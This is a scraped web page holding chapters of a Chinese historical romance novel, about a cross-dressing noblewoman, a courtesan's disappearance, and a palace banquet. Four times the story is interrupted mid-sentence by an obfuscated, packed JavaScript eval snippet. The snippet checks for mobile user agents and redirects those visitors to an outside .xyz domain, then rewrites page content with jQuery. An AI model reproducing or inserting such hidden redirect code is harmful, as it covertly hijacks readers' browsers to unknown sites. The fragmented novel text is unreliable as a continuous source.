;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599180|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦寻不到莲姑。 她见到那三角眼的男仆出现,立时叫住询问他莲姑所在,岂料那男仆目光闪烁,含糊其辞。 归梦觉察到一丝不对劲,也顾不得许多,揪住他的衣襟道:“叫莲姑出来!” 此时正值午后,莳花楼尚未开市,但女娘们均已起床梳洗过了。听到楼下大堂有吵扰之声,便纷纷围了过来。 眼见人越围越多,莲姑这才现身,对着周遭看戏的女娘们轻斥一番:“去去去,都少管闲事,这就散了罢!不然仔细你们的皮。” 女娘们大多散了,仍有少数在远处好奇观望。 莲姑调弄着寸把长染了蔻丹的指甲,身边招来了两个仆从。 归梦指了指脚旁一个乌沉沉的箱子:“一百金在此,你点一点。点清楚,锦瑟今日我就带走了。” 莲姑下巴一扬:“锦瑟是谁?我们这没有这一号人。” “你说什么?!” 归梦不敢相信,这还不到一日的光景,这鸨母居然就翻脸不认账了。 “哎哟,我说这位小娘子,你女扮男装三番两次地来我莳花楼捣乱,老娘可忍你很久了!”莲姑两手叉腰,似乎已经做好了斗争的准备。 归梦有些微愕然,莲姑竟已知道自己是女儿身,不知她是什么时候看出破绽的? 是了,定是昨日王子野跟她道破的。 “女子又如何!我就是要赎锦瑟,我钱已带来了,你别想反悔!”归梦见四周几个身高体壮的仆从已围了过来,但也不愿退却。 莲姑咯咯笑道:“女子也来这秦楼楚馆消遣,还要赎女子,当真是稀罕!我已说过了——这莳花楼里没有一个叫锦瑟的,不信你问问她们呀?”她伸手将身后看热闹的女娘们招上前来。 归梦目光在人群中梭巡一番,确实没有看到锦瑟。 莲姑徐徐问道:“你们可认识一个叫锦瑟的女娘吗?” “不认识……” “从来没听说过……” “莳花楼就从没有这么一个人……” 归梦不可置信地望着她们,她知道这些女子是受莲姑的淫威压迫才口是心非,但是心里依然大受震撼! 秦朝时候有赵高指鹿为马,今日这情景也不遑多让。 她挤开人群,三步两步奔至锦瑟的房间,竟是早已人去屋空。 屋里的家具摆设都未动,但是妆台、床铺,都不像有人住过的样子。 锦瑟去哪了?她是自己走了还是被人带走了,还是被鸨母故意藏了起来……归梦脑海里一瞬间闪过无数个可能性和念头,但是没有一个抓得住。 她不知该如何是好,只确定一件事——她被骗了! 莲姑骗了她! “你把锦瑟藏哪去了?!”归梦年纪尚幼,她不知人心可以险恶到何种程度,猛地遭遇欺骗,顿时心神大乱。 她死死拽着莲姑的手臂:“你不说,我不会走的!” 莲姑挣脱不得,尖声道:“你这丫头……放手!来人,把她给我轰出去!快!” 眼看那几个仆从的手爪子就要落到归梦身上,忽听一个沉稳的男声道:“住手。” 归梦循声回头,意外道:“是你!” 明铮黑白分明的眼睛似一汪深沉的古井,喜怒难辨。他拉住归梦的手臂:“跟我来。” 23. 欢情薄 明铮拉着归梦出了莳花楼。 “这不是你该来的地方。”他松开她的手,侧过身子背对着她。 归梦却不容他逃避,她偏要站到他面前,看清他的表情。 “你能来,我为何不能来?你这几日为何不见人?你知不知道锦瑟不见了?”归梦劈头盖脸地问道,她受不了明铮永远这副风轻云淡的样子。 “我知道。”明铮静静道。 “你知道?你……”归梦差点被他一句话噎死。 “那你到底是怎么想的?现在预备怎么做?去何处寻她?”她连珠炮似地发问。 明铮微微偏过头,似笑非笑地看着她:“我与她的事你似乎很清楚。是她告诉你的吗?” 糟糕!她一时情急,竟忘记了——她应当是不识得锦瑟的!也应当不晓得明铮与锦瑟的关系,此中内情,她应当一概不知的。却该怎么跟明铮解释呢? 她眼神躲闪,硬着头皮道:“是我那夜见你神思不属,以为你对这锦瑟姑娘动了心。是以想替她赎了身,君子成人之美嘛,哈哈……”她努力保持语调平静,不让明铮看出一丝破绽。 然而话一出口,她便后悔不迭。这破嘴比脑子动得快,明明她都准备向明铮坦承身份了,这下误会是越来越大了。 “哦?是吗?”明铮微微一笑。看不出他是信了还是不信。 “有时候,你对我的关心与了解,多得让我意外。”他淡淡道:“小孟,有劳你费心了,烦请取回。”指了指地上的那箱子金饼。 归梦欲想些合适的说辞来圆上这个谎话,又一时拙于言辞。饶她平时伶牙俐齿,此时却在明铮面前变得木讷起来。她忽然有种不详的预感,自从锦瑟出现,先前她与明铮那样亲密的好时光,是一去不复返了。 天街上不知何时落起了微雨。 雨丝打在搁在廊下盆中的残花上,又瑟瑟抖落了几片枯败的花瓣。 一场秋雨一层凉。不知不觉间,秋意已深。飘来的雨丝浸湿了归梦的衣衫,她不由得打了个寒颤。 从前携手同游,看似无话不谈过从甚密,其实不过是她以为的罢了。她自以为是地越过了界限,去插手他的私事,结果只是让她看清,他是如何坚守壁垒,如何筑起心防的。 可是,锦瑟也不能不救…… 她咬了咬嘴唇,伸手拉住明铮的衣袖,恳切道:”对不住。你与锦瑟姑娘的过去,我确实知晓了一些。……我并非有意刺探你的私隐……但眼下当务之急,是先找到她,助她脱离苦海。” 明铮神色平和:“她之所以离开这里,就是不愿意让我再找到她。我又何必再刻意去寻?”他语气平常,像是在说一件无关紧要的小事。 归梦大感意外。她不由得松开他的衣袖,后退了半步,摇了摇头,好像从来不认识明铮一样。 “我还以为……”她明白了,她终于明白锦瑟为何不愿意让明铮为她赎身了。因为——他已然不爱她了! 就算赎了身,两人也无法再回到从前,他身边,根本没有锦瑟的位置。 不,又何来的从前呢?从前,纵使明铮对她有情,她却对明铮无意。如今,时移势易。她不愿拖累他固然是真的,悔不当初也是真的,可最最重要的是,她发现了明铮已然放下了她,他对她只有义,没有爱了。她纵使一无所有,可仍有一点傲骨,她怎肯托庇于他? 归梦长出了一口气,心中却又生出一种同为女子的同病相怜之感。明铮,原来并非如她所想的那样痴情不改,他那么理智,克制,现实。面对这样的明铮,归梦困惑了。 “以为什么?”明铮问。 一种对世事无力的挫败感夹杂着失望弥漫心头,让她忍不住把心里的话一股脑地宣泄出来。她大声道:“以为你和天底下其他男子是不同的!以为你有情有义有始有终!以为你纵然冒天下之大不韪也不会任由那样一个弱女子再身陷风尘!” 她满以为这几天的奔波可以救锦瑟于水火,不想最后却是这样的结果。她自以为与明铮交往已深,算是颇为了解了,没想到,她心中倾慕芳心暗许的这个人并非她以为的那样。 不知锦瑟此时流落何方,是不是才出虎穴又入狼窝呢? 这一连串的指责说完,她脸都已涨红,忽然意识到自己的情绪过于激动了。 不远处在马车旁等待的紫芽和小陈听见她如此大声说话也看了过来。 明铮并不生气,只是认真看着她,忽而笑了:“小孟,你方才的样子,倒挺像个女子。” 归梦不料明铮突然说出这么一句话,先是一愣,继而心里七上八下。难道女儿身被他看穿了? 她将肩膀沉下去,假装恼怒,粗声粗气地说:“好啊,你竟取笑我!我不理你了!”说完板起了脸闭口不言。 “小孟,你可知我为何乐意与你为友吗?” 他的眼眸平和温润,像是沾染了雨丝的雾气。 她摇了摇头。 “因为你身上毫无世家子弟的骄矜奢靡之气,却时有任侠仗义之举。有时虽然莽撞冲动,但那是因为你内心有热情。不论是对下人,对贫民,抑或是沦落风尘的女子,你都愿伸以援手。你做了我想做而不敢做的事,活成了我理想的样子。” “与你在一起从不会谈起国政,很轻松。尽管你不曾彻底表明身份,但我并不介意。我情愿永远不知道你的出身来历。” 听到这,归梦心里暖烘烘的,像塞了一团软软的棉花。 她从小什么都是马马虎虎,无论容貌性情才华,都不是最出挑的,言行又不够淑女,为此没少被父母教导。 还从不曾有人从这样的角度真诚地去夸奖她赞美她。 更何况这话是从明铮的嘴里说出来的,那就更令她开心百倍。即便方才她还对明铮有什么不满,也瞬间烟消云散了。 又听明铮戚戚然道:“你责备的对。我确实做不到‘冒天下之大不韪’,像我这样的人,是无法纵情恣意地率性而为的。当初她弃我而去,我着实伤心失意了很久。花自飘零水自流,她既无意我便休。这算不算‘有始有终’?每个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明铮挺拔的身躯就在她身侧,她鼻息之间似乎还能闻到他身上散发的淡淡沉水香的气息。 归梦下意识地拢了拢头发,青丝被雨水打湿了,已经凌乱地一缕缕粘在了前额上,衣衫也湿透,紧紧地贴着身体,曲线毕露。她有些紧张,尽量缩起了身子,怕会被明铮看出什么。 明铮只是端坐在车厢另一边,他的衣衫头发也湿了大半,却仍气质超然,丝毫不让人觉得狼狈。 归梦贪看明铮的容颜,那被打湿的浓眉,更衬得他肌肤如雪。一滴水珠顺着他额角的头发流了下来,蜿蜒流过了他线条分明的下颌,直到顺着他修长的脖颈流入了微微凹陷的锁骨窝,滑入胸口的衣领中。 她低下头不敢再看,马车在雨中急驰,车轮辘辘,她只盼着这样安静与明铮共处的时光再长一些。 24. 欢情薄(二) 明铮开了口,用他低柔清润的嗓音开始讲述与锦瑟的从前。 原来,锦瑟本是士族女子,她是广陵宋员外的幺女,本名叫宋华年。宋家与明家本是世交。 彼时,宋员外还未升迁去广陵,宋明两家都在高平,算是比邻而居。 “我年长她两岁,自小我们就玩在一起,我把她当妹妹一般照拂。自我俩懂事起,就知道双亲为我们订了亲。他们也从不禁止我们过从甚密。我问过她愿不愿意嫁我。她满口答应了。自那天起,我便视她为未来的妻子。春日,我们同去摘花,冬来,共去赏雪。闲时,她吹笛,我抚琴,就这么无忧无虑地度过了少年时光。” 归梦的思绪随着明铮的讲述飘向了遥远的高平。她仿佛看见了九曲回廊处,亭台水榭边,那一对璧人般的少男少女说说笑笑。那样美好的感情也会被辜负吗? “六年前,她父亲升迁,一家都要搬去广陵。她不愿与我分离,宋家也希望我俩就此完婚,她也可留在高平。可谁料家慈病逝,我热孝在身不能迎她过门。临别时她说会等我来娶她。我们把婚期定在了三年后。我每年都会去广陵见她一面。前两次,她都待我如往日一般。我们还约定了,婚后我们要在书房的窗前一起栽种下两株明开夜合花。谁知到了要成婚的前一年,我去宋府下聘,她竟称病不肯见我,好不容易见到她,她却神情冷淡。我只当是许久不见她与我生分了,却不曾想,那时她已移情他人。” “后来仔细想来,也算是有迹可循。彼时我看到她桌案上放着司马相如的诗词,我还疑惑她何时对诗书感兴趣了。除了幼时在私塾学了些《孝经》、《毛诗》,我记得她并不愿多看书,而是更喜女红、器乐。’” 归梦心中有些酸涩,她心道:“过去这许多年了,这些细枝末节你却还记得,想来当初对她确实是用情至深。”她作此想法,却并不说出来,只是默默听明铮讲下去。 明铮接着道:“我开口询问,她顾左右而言他,问我如何看待卓文君这样的女子。我不知她是何意,只答她‘文君夜奔,虽于礼教不合,但也是真性情之举。’谁知,三年前,我们成婚那日,她真的就逃走了。据她贴身的丫鬟说,是随员外府里的一个花匠走了。那时她与我分隔两地,闺中寂寞。府中新来的年轻花匠略通文墨,每日送新鲜花卉给她,又写情诗赠她,还跟她学吹笛,两人日日相对,那花匠就慢慢得了她的芳心。她迫于父母之命,走脱不得,只待成婚那一日才有机会逃脱。”他平静地说着往事,淡然得像是在说别人的故事。 归梦心里五味杂陈,她既心疼明铮当年被未婚妻抛弃,又唏嘘宋华年如今的遭遇。如果,当初自己不帮忙宋华年逃走,也许一切都会不一样了。她私奔不成,自然就只能拜堂成亲,婚后明铮必能拉得她回心转意。 想到这里,她又心虚了起来,感觉自己像是一个凶手,正在听苦主的冤情。 “那,你恨她背弃你吗?”归梦小心翼翼地问。 “我非圣贤,自然免不了怨怼。我只是怪她,当时为何不与我分说清楚,她若与我言明,我必会取消婚约成全她。”明铮苦笑道。 “那……”归梦努力措辞:“你恨那个拐走她的男子吗?”其实她想问的是,明铮会不会恨协助宋华年逃走的人。她还记得婚礼那一日,她偷偷跟在他身后,走到门外,恰巧看见漫天的烟花下,他一身大红色喜服,鲜衣怒马,眼神里透着无限的失意。 “最恨那个男子的应当是她。” 是啊!士之耽兮,犹可说也。女之耽兮,不可说也。于明铮而言,他不过失去一个不爱自己的女子,再多的伤心失意随着年深日久总归会过去的。可宋华年,却是一失足成千古恨。 归梦低声道:“都说‘痴心女子负心汉’,那司马相如终是又纳了茂陵女……” 明铮叹道:“负心人也好痴心人也罢,世间男女总在一个情字上,伤人伤己。” 归梦喃喃重复道:“伤人伤己……”他是因受伤过,才会作此结论。可她不怕受伤,也不介意去治愈他的伤。 她把心里的话抖落出来:“难得听你说这么多话,更难得听你说你的私事。我……觉得好像离你没那么远了。” 明铮微笑道:“我们此时坐在一辆马车里,怎还会远?” 他真不明白,还是装不明白。像他这样的聪明人难道还听不懂她的一语双关,弦外之音吗? 车厢外传来马的嘶鸣声和小陈“吁”的声音,紫芽在车厢外提醒道:“公子,明府到了。” “我该回去了。小孟,谢谢你为我和华年所做的。只是,凡事不可强求。” 明铮掀起马车的帘子欲下车。 “等等。”归梦脱口而出叫住了他。她还有很重要的问题没有弄清楚。 “如果,我是说如果,宋姑娘同意你为她赎身,你打算如何安置她?”她虽然心知明铮不会娶宋华年,可仍想听他说说他的想法。 “我已回禀过家严,她若愿意,我会收她为义妹,她可留在明府。日后若得遇良人,我送她出嫁。若她不愿,我便另给她寻一处宅邸。” 归梦闻言一震。原来他已经想得这般清楚和周到了。她只当那日明铮被拒绝后就把宋华年给抛诸脑后了,却不曾想他竟做了这般打算。 “若是,宋姑娘历经世事已然悔悟,有意与你重修旧好呢?”归梦一再试探。 明铮掀起车帘的手停滞在那里,手掌收紧骨节分明像凸起的小山峰。 “她与我都明白——覆水难收。”明铮答得干脆,说完便下了车。 归梦掀起车帘,目光追随着雨幕中明铮远去的背影。 宋华年辜负了明铮,却也终被他人所辜负。人世间的情债,总是因果循环。 归梦惘然一笑,或许在她引着宋华年逃婚的时候,便已注定了她这一生,要去还明铮一段情。 这一日晨起,归梦由丹娥服侍着洗漱梳妆。 紫芽才收拾好床铺,便坐在窗前的软榻上,借着光一心一意地做起了针线活。 归梦奇道:“一大早的,你缝什么呢?”她走过来翻翻紫芽手中的云锦缎面。 “我看梦娘这几日眼下都有乌青了。昨个又刮了一夜的北风,想是又没睡好。” 归梦不置可否,她的心事瞒不过紫芽,毕竟她是心腹,时时带在身边。这几日来,操心为锦瑟赎身的事,确是有些累了。 紫芽头不抬手不停,一边缝一边道:“我寻思着给梦娘缝个新枕头,里面放点白菊花苞,枕着入眠最是清火明神了。” 归梦笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她想着明铮平日多穿白色与青色的常服,一时拿不定他的喜好,索性选了玄色的布料与丝线,这样沉稳的颜色不出挑,但搭配起来总不会出错。 紫芽笑道:“这香囊上还差些绣花,梦娘可想好绣什么纹样了吗?” 归梦摇摇头:“平常都是些什么花样?” “那可多啦,鸳鸯、比目、福禄寿、并蒂莲、桃花、梅兰竹菊……” 归梦听到“比目”二字,不禁心念一动。是了,那块白玉比目佩,她竟忘了交给明铮。 比目,那是象征忠贞爱情两情缱绻的鱼儿。本是他与宋华年的定情之物。 可惜——“故如比目鱼,今隔如参辰”。 比目,是属于他俩之间的图案,她又怎能再用。至于鸳鸯,太过直白,她和明铮还不是情人。何况,她可不能忘了,现在在明铮眼里,她还是个“男子”呢! “这些寻常的花样太过俗气。待我好好想想……” 一连想了几日,她终于想到了合适的花样,兴冲冲地动手绣上了。 那香囊细看针脚有些粗疏,不过材质都是选的最好的,一针一线尽是她的心意。归梦想着之前在船上没能按计划挑明身份,这次就借着送香囊的机会向明铮表明吧。终日以男子的身份接近他欺骗他,她到底良心难安。 归梦靠着窗子,手上把玩着新制好的香囊,正琢磨着寻哪一日再约明铮见面好送给他,一时想出了神发起呆来,连谢氏走了进来都没瞧见。 25. 东风恶 紫芽忙推了推归梦。归梦慌忙把手上的香囊往桌上的针线篓里一塞,笑着道:“母亲。” 谢氏瞧见她动作慌张地收起什么东西,也不点破,只“唔”了一声,温声道:“明日西苑太子宫有赏花宴,遍邀京中淑媛贵女赏菊,你与我一道去。” 归梦向来不喜这种场合,迟疑道:“非去不可吗?” 谢氏递来一张请柬:“你说呢?今早太子妃身边的女使送来的帖子,你皇后姨母主张,太子妃亲自操持的。” 归梦接过看了看,看来只能把明铮先搁一搁。 她闷闷道:“女儿去就是了。” 次日,谢氏亲来督促归梦晨妆。 紫芽见这架势自然不敢疏忽,问过谢氏的意见,给归梦梳了个缕鹿髻,斜斜插了八宝如意簪,耳上坠了小巧的明珠耳铛,显得气度沉静大方。又慎之又慎择了一套藕荷色窄腰宽袖的宫装。面上薄施脂粉,整个人看起来娟娟秀雅而不失世家贵女的身份。如此装扮好,谢氏才露出满意的微笑。 母亲这样子,大有带自己相看之意。自古宴无好宴,这“赏花宴”恐怕另有目的。 归梦从镜中觑着母亲的面容,不由得心烦意乱。 这西苑已有几月不曾来了,倒是陌生了许多。聚会之处就在西苑的花园之中,一路上都有侍女引导着,更不时遇见熟人亲戚,免不了随母亲停下脚步行礼招呼。 越往花园走,人声就越鼎沸。远远就听见欢声笑语,显然是热闹异常。归梦压着心头的烦腻,随在谢氏身后亦步亦趋。历来这样的场合,她都是恪守礼数,或是随在母亲身侧,或是静坐一隅,不愿引人注目非议。 她幼年时便离开建康随父母去了高平,三年前方归,除了和岑谢两大家族内的几个兄弟姊妹稍微亲近些,与其他本地士族子弟均无交往。是以每每参与这种雅集聚会,归梦处在京师的一众贵女中,听着夹杂着吴音的笑语,总觉得格格不入甚是陌生,也未交过什么朋友。 归梦忽然想到了诗安,今日的聚会她会不会来呢?几月前,自己因为明铮莫名地对诗安心生芥蒂,若是今日撞见,倒真有些无地自容。 遇到诗安倒还罢了,最多就是有些尴尬,诗安那么温柔宽容,寒暄几句也就把那一页揭过了。若是遇上王如芝……那就真是冤家路窄了。归梦忍不住紧张起来。 蜿蜿蜒蜒到了花园,归梦不禁眼前一亮。 迎面袭来菊花独特的香气,让人为之一醒。 秋日的暖阳把满园的衣香鬓影都染上了一片金黄色。花园显然是特意修整打理过,格局比之从前焕然一新。时近中秋,百花已残,整个园中或移植或摆放了许许多多不同种类不同颜色的菊花,莺声燕语穿插其间,美不胜收。 夏侯敏远远瞧见谢氏和归梦,立刻笑吟吟地迎了上来:“姨母来得正好,诸家女眷也快到齐了。今日人多,若有招待不周的,姨母可多包涵。”说完又转头向归梦,拉起她的手:“妹妹今日这身衣裳真雅致,更衬得人亭亭玉立……”口中不绝的溢美之词。 归梦淡淡一笑:“谬赞了。我怎比得上太子妃光彩照人。” 夏侯敏满面春风,今日一身真红色联珠广袖百褶裙,阳光下用银线绣着的凤穿牡丹暗纹在熠熠生辉。 她听夏侯敏一口一个“姨母”亲热地唤母亲,心下便觉不舒服。她嘴上虽是夸奖夏侯敏,实则是言不由衷阴阳怪气。 没办法,她就是不喜欢夏侯敏。 说话间,不断有贵族女眷到来。夏侯敏总算弃了谢氏与归梦,忙着过去招呼了。 归梦四处张望一番,并未发现王如芝的踪影,暂时松了口气。 她见母亲与随国公夫人聊得兴起,便独自走到不远处坐下。 园中花团锦簇,各色菊花竞相盛开,惹得人眼花缭乱。粉的,红的,紫的,白的……甚至还有极为稀罕的绿菊。 归梦见了这等美景,也把心事暂搁一旁,一心一意地赏起菊花来。 只是总有些谈话声往她耳朵里钻,想不听都不成。 她斜后方一径花丛旁,有两名年轻女娘正在热烈地交谈着。 “今日真是热闹……” “那可不,听说太子妃的女使来送请柬的时候还特特提了要夫人们携女同往。恐怕今日全京师的未嫁贵女都在这了。你看,连云蔷公主也来了。” “她来倒不稀奇,听闻她和太子妃一向走得近,以她的身份哪有不趋奉的。对了,怎么不见岑归梦?如今四大世家中论身份论容貌也就属她了。” 归梦本来只是无聊,漫不经心地听着二女闲谈,怎料忽然听到自己的名字,她立时全神贯注起来。 “今日名为赏花,实则是士族之间互相相看,趁机挑人联姻。那丫头疯疯癫癫的,到底是在北边高平长大的,不像咱们自小生在建康这锦绣江南,脾性自然更投契。纵然她家世再好,也不一定有高门愿意娶。” “嘘,低声些……方才我好像看见她母亲了。话说回来,当时若不是她家傻傻地拒婚太子,今日也不必来此相看了。依我看,以后她议亲可就难了。” 归梦听到这,只觉得又好气又好笑。 为了几句闲话没必要在这种场合闹起来,但她的性子向来轻肆直言,遇事便发,决不肯委屈了自己的心。 于是起身向二女的方向走近几步,假意赏菊,对着她俩面前一丛“月下白”,大声叹道:“都说菊花是花中隐士,向来淡泊无争,高洁不屈,这做人如做花。某些人怕是欣赏不了菊花之美了!可惜啊可惜!” 二女的谈话被打断,抬头看清是归梦,又是一惊。她二人脸上一阵红一阵白,对视一眼便匆匆相携而去。 暗讽了一番还惊走了二女,归梦心里甚是畅快,忍不住笑满双颊,愉悦地继续赏花。一转身,就看到了诗安。 她正静静站在一丛紫色的“双飞燕”旁,含笑望来:“好久不见,妹妹还是这般率直。” 猛然看见诗安,归梦有些讷讷:“姊姊,好久不见……” 诗安一身莲青色烟锦宫裙,整个人好像浮在一团青朦朦的雾色之中,身量苗条,腰身纤细得不盈一握,头上也只插戴了一双白玉钗。 满苑的贵女都没有如她这般简素的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不提这些了。”她从袖中掏出一本薄薄的册子悄悄递了过来:“这本册子赠你,希望于你有用。” 归梦接了过来,正想打开,忽听素秋大声道:“刘嬷嬷你稍待……” 只见一个满头金银穿戴鲜艳的老妇正越过素秋的阻拦,闯到了诗安的面前,草草行了个礼,笑道:“哎哟,明妃怎地到这来了,可叫老身好找!太子妃交代了,那道蟹粉酥火候不易掌握,怕下面的人不用心,做砸了,需得您亲自去盯着。您这就请吧!” 诗安点了点头,轻声细气道:“是,刘嬷嬷稍安,我说两句话就去了。” 那刘嬷嬷狐疑地看了诗安与归梦一眼,应了一声,脚下却并不挪动,显然是在等着与诗安同去。 归梦见那老妇说话时两眼上翻,语气不恭不敬,心中不满,当下伸手拉住诗安:“岂有此理,你是侧妃又不是厨娘,居然还派人监视你,真是欺人太甚了!” 诗安朝她做了个噤声的手势,轻叹道:“无非是些小事,也费不了什么工夫。我若不做,恐怕后续之事会源源不绝……” 她给了归梦一个安慰的笑,那笑容却有些虚浮无力:“我去啦,册子你可千万收好,莫给旁人瞧见。” 归梦看着诗安与素秋在那刘嬷嬷的监视下离去,心里气愤不已,手上不由得握紧了那卷册子。 她走到一僻静处悄悄打开看了一眼,一惊之下急忙匆匆合上了。 没想到这竟是一本画册。里面画得竟是……看来当初自己当真是误会了诗安。 26. 蝶戏花 她将画册塞入怀中,确保既看不出又不会掉落,匆匆回到母亲身旁。 各族家眷均已到齐,夏侯敏巧笑嫣然,语声清脆:“今儿来的都是自家人,多少都是沾亲带故的,也不用客套了。今年西苑的菊花盛开得早,等不及到重阳,本宫便想着先邀大家来此热闹热闹,同乐一番。每人走时均可选两盆中意的花儿带走。好了,大家不用拘礼,尽可自行观赏。” 当下年长的夫人们围坐一桌闲聊,年轻的女娘们活泼嬉笑三三两两或赏菊,或聚在一处品茶谈心。 归梦坐在母亲身侧,只盼着这聚会早点结束。 她看见夏侯敏身边便是云蔷,两人有说有笑,俨然就是一对亲热的姑嫂。她们周围还围着一圈士族贵女,正不住口地称赞西苑的景致美丽以及太子妃操持宴会的用心。 云蔷的眼风冷不丁地扫了过来,恰巧与归梦的目光对上了。云蔷芳唇微动,不知悄声和夏侯敏说了什么,接着便朝归梦走了过来。 “归梦,许久不见啊。我们正准备抽签来个‘飞花令’,不如你也一起吧,人多热闹嘛!” 因为小时候的过节,云蔷每次见了她总是横眉竖眼的,此时居然对她客客气气地说话,她还真有些不习惯。 “抱歉,我没什么兴致,你们玩吧。”归梦礼貌地笑笑。 云蔷被拒绝,面上登时有些挂不住,轻哼一声,语气含了几分冷然:“游戏而已,莫非你不屑与我们一道玩?” “云蔷,你这话说得……”夏侯敏款款走来,温婉笑着劝道:“归梦妹妹就来凑个热闹吧,本宫也许个彩头,谁若是胜了,便赠其一品‘凤凰振羽’。这花名贵,培育极为不易,整个西苑也不过才三盆呢。” 谢氏见夏侯敏过来亲邀,便令归梦过去参与。归梦推脱不得,只得被夏侯敏拉着坐了过去。 她目光梭巡一圈,发现有两名女子很是眼熟,正是方才在花丛后议论她,又被她出言讥讽离去的二女。 归梦一落坐,这桌上的人立时沉默了不少。她也懒于客套寒暄,只随手从桌上盘中取块点心浅尝一口,本来也无心吃东西,嚼着嚼着发现这点心滋味竟然不错,入口酥软鲜香,回甘无穷。当即吃完一块,又伸手取了一块。 桌上一名穿淡黄衫子的女娘见状笑道:“这西苑的吃食果然是一等一的。听闻太子妃为了这次宴会特地做了些时新的果子。这道蟹粉酥,但凡尝过的都是赞不绝口呢!” 蟹粉酥?归梦看了看手中的点心,原来这是诗安做的。 云蔷淡淡道:“那是自然,这小小一只蟹粉酥就需得要剥取三只蟹的膏黄才能制成,糜费不少。工序也是繁琐,亏得太子妃才有这等巧思。” 另一身着墨绿衣裙满头珠翠的女娘附和道:“正是,话说也只有在京师建康这江南富庶之地才能尝到这样的果子。”顿了顿,掩唇轻笑:“像归梦从前在高平,定然无缘得享这等美食。” 竟然连品评一道点心都能拐弯抹角地讥讽她。 归梦认得那女娘正是江左张家的张绮彤。 张氏乃是吴地土著,世居江南的大族,虽然已渐没落,但仍是充满着优越感,对岑氏这等从北方迁移而来,却后来居上在朝中势力庞大的侨居士族颇多不屑。 张绮彤的父兄官职不高,可她向来倨傲得紧。 归梦慢慢将手上的蟹粉酥吃完,细细嚼了咽下,取出手帕缓缓拭了拭嘴唇,平静地赞道:”果然美味。“ 夏侯敏矜持一笑:“这算得什么?诸位妹妹若喜欢,本宫让后厨再制一些,走时给你们包上带着。” 众女闻言均纷纷称赞“太子妃贤良,待人谦和”。归梦听在耳中,分外可笑。 这夏侯敏倒真会笼络人心,用别人的辛劳来成全自己的贤名。对外做出大度宽和的样子,在内宅却不容妃妾。面上和谐友爱与她交好,实则带着云蔷等一众贵女将她排挤成众矢之的。 看来夏侯敏还是在忌讳她当初差点成为太子妃这件事。或者还有,夏侯权的原因……当然,估计也少不了云蔷的推波助澜。 想到这里,归梦已是如坐针毡了。 一旁有侍女递上刚泡好的茶水,分给诸人。 云蔷从侍女端来的托盘上取来一个装满花签描金纹的木制花筒,清清嗓子,脆声道:“世人皆知,朝中名士三月三在会稽兰亭有曲水流觞,吟诗作画好不风雅。今日,咱们也来附庸效仿一番,如何?” 其时士族女子多饱读诗书,联诗作对不在话下,桌上诸女闻言大多赞成响应,跃跃欲试。 “我反对。”归梦霍然站起,大声说道。 众人皆侧目。 云蔷见归梦这时忽地跳出来反对,蹙眉道:“你有什么意见?” “成日价吟诗作赋,闷得紧。倒不如玩些新鲜的。”归梦一脸认真,仿佛真心地在商量。 “那你说,什么新鲜?”云蔷冷笑反问。 “猜字谜。” 猜谜确实是比吟诗联句更有趣,有吸引力一些,桌上诸女均是眼睛一亮,交头议论了几句,稀稀拉拉地开始表示支持。 有一女好奇问道:“规则如何?怎么玩呢?” 归梦微微一笑:“很简单。由一炷香为限,众人皆可参与。先由一人出题,最先答对者便可接着出题,如此循环。若是谁出的题在线香燃尽时无人能解答,此人便是最后的赢家。” “那这样说来,最先出题者岂不是大占便宜。若是第一道题便难倒了众人,那就不战而胜了。”有人提出疑问。 “那也不尽然。不过,猜谜是我提议的,为表公平,就请诸位姊姊先出题好了。”归梦笑道。 云蔷本已筹划好了抽签吟诗,想借机出风头还可打压归梦。谁知计划都被打乱了。她不甘心就这么依了归梦的意思,不服气道:“凭什么你说玩什么就玩什么?” “方才可是公主问我‘什么新鲜’。若是公主不乐意,那就罢了。咱们举手表决,爱玩猜谜的玩猜谜,爱吟诗的吟诗就是了。” 云蔷无语,眼见众女都已对猜谜来了兴趣,也不得不顺势而为。只得恨恨地坐了下来。 夏侯敏忙出来打圆场:“归梦妹妹要猜谜,众姊妹岂有不依的?这俗话说得好‘主随客便’嘛。” 她说着暗暗拉了拉云蔷的衣袖,笑对众人道:“本宫不懂猜谜,便做个东道主,云蔷,你替本宫出这第一题吧。” 夏侯敏招手命侍女拿来一个金鼎麒麟香炉放在桌上,将线香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599184|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 插上燃起。 “是。”云蔷脆声应了,将心中不快压下,旋即一笑:“那我就抛砖引玉了。诸位姊姊听题——‘十人之家’,打一字。” 